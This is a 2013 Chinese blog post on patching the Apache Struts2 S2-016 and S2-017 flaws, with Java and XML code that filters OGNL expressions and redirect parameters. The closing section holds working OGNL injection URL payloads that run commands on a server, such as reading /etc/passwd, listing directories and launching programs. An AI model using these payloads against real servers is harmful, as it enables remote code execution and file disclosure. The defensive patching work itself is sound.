struts2 最新漏洞 S2-016、S2-017修补方案

昨天struts2爆了一个好大的漏洞,用道哥的话来说就是:“今天下午整个中国的黑客圈像疯了一样开始利用这个漏洞黑网站,大家可以感受一下。”

看下乌云这两天的数据:

相关报道:

灾难日:中国互联网惨遭Struts2高危漏洞摧残

Struts2被曝重要漏洞,波及全系版本

官方描述:

S2-016:https://cwiki.apache.org/confluence/display/WW/S2-016
S2-017:https://cwiki.apache.org/confluence/display/WW/S2-017

 

============================== 好了,下面是正题 ==============================

struts2漏洞S2-016、S2-017修补方案:

为了排版整齐一点,将代码放在最后。

方案1:
  方案介绍:
    手工修改Ognl.jar源码,增加恶意代码过滤。此方法只能修补S2-016漏洞,但是对以后可能产生的ognl漏洞有预防作用。
  操作步骤:
    1.1 找到项目中ognl-version.jar,然后找到其对应的源码。把源码解压后,导入到eclipse。找到Ongl.java中修改如下代码:
    1.2 将上面修改后的项目通过eclipse导出为ognl-my.jar, 将它放到lib目录。
    1.3 删除原来ognl-version.jar
    1.4 重启服务器。

方案2:
  方案介绍:
    重写struts2 DefaultActionMapper的handleSpecialParameters方法,增加action、redirect、redirectAction等参数的过滤。此方法可修补S2-016、S2-017漏洞。
  操作步骤:
    2.1 新建com/website/struts2/MyDefaultActionMapper.java,代码如下:
    2.2 复制MyDefaultActionMapper.class 到 /com/website/struts2/目录。
    2.3 用struts.xml添加如下代码:
    2.4 重启服务器。

注意:
1.方案1中的“恶意代码”和方案2中的“action、redirect、redirectAction”均为hardcode,如有需要可改为从配置文件读取。
2.方案1原则上对系统没有影响,方案2进行了redirect和redirectAction可跳转性测试,但未进行全站测试。
3.方案1和方案2可以同时执行,也可只执行单独一个。

 

附件:

Ognl.java

public static Object parseExpression(String expression)
        throws OgnlException {
    // -- jason.zhou 20130718 add start -- // 
    // Runtime、ProcessBuilder为恶意代码,其它可自行添加
    String evalMethod[] = { "Runtime", "ProcessBuilder" };
    String methodString = null;
    methodString = expression.toLowerCase();
    for (int i = 0; i < evalMethod.length; i++) {
        if (methodString.indexOf(evalMethod[i].toLowerCase()) > -1) {
            System.out.print("|OGNL正在执行恶意语句|" + methodString + "|看到这个消息,请联系安全工程师!!!");
            return null;
        }
    } 
    // -- jason.zhou 20130718 add start -- // 

    try {
        OgnlParser parser = new OgnlParser(new StringReader(expression));
        return parser.topLevelExpression();
    } catch (ParseException e) {
        throw new ExpressionSyntaxException(expression, e);
    } catch (TokenMgrError e) {
        throw new ExpressionSyntaxException(expression, e);
    }
}

 

 MyDefaultActionMapper.java

/**
 * zhounenghua@163.com copyright
 */
package com.website.struts2;

/**
 * @author jason.zhou
 * @date 2013-7-18
 */
public class MyDefaultActionMapper extends DefaultActionMapper {
    public void handleSpecialParameters(HttpServletRequest request, ActionMapping mapping) {
        Set uniqueParameters = new HashSet();
        Map parameterMap = request.getParameterMap();
        for (Iterator iterator = parameterMap.keySet().iterator(); iterator.hasNext();) {
            String key = (String) iterator.next();

            if ((key.endsWith(".x")) || (key.endsWith(".y"))) {
                key = key.substring(0, key.length() - 2);
            }

            // -- jason.zhou 20130708 add start -- //
            if ((key.contains("redirect:")) || (key.contains("redirectAction:")) || (key.contains("action:"))) {
                return;
            }
            // -- jason.zhou 20130708 add end -- //
            
            if (!uniqueParameters.contains(key)) {
                ParameterAction parameterAction = (ParameterAction) this.prefixTrie.get(key);
                if (parameterAction != null) {
                    parameterAction.execute(key, mapping);
                    uniqueParameters.add(key);
                    break;
                }
            }
        }
    }
}

 

struts.xml

<!-- 为修复struts2 s2-016、s2-017漏洞,重写DefaultActionMapper -->  
<bean type="org.apache.struts2.dispatcher.mapper.ActionMapper" name="myDefaultActionMapper" class="com.website.struts2.MyDefaultActionMapper" />     
<constant name="struts.mapper.class" value="myDefaultActionMapper" />  

 

补充几个测试代码(本代码来源于互联网,对使用该段代码造成的后果,本人不负任何责任):

linux:

1.查看用户 ?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} 2.查看路径 ?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]%20{'ls','-l'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader%20(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%20%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println%20(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} 3.查看指定路径 ?redirect:$%7B%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%20%7B'ls','-l','/webapp/proc/portal/'%7D)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader%20(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char%5B50000%5D,%23d.read(%23e),%23matt%3d%20%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println%20(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D 4.项目路径 ?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D

windows:

2.任意代码执行 ?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'notepad.exe','goes','here'})).start()}

本文代码有参考如下网址:http://www.inbreak.net/archives/507

posted @ 2013-07-18 19:45  jasonzhou  阅读(14206)  评论(0编辑  收藏  举报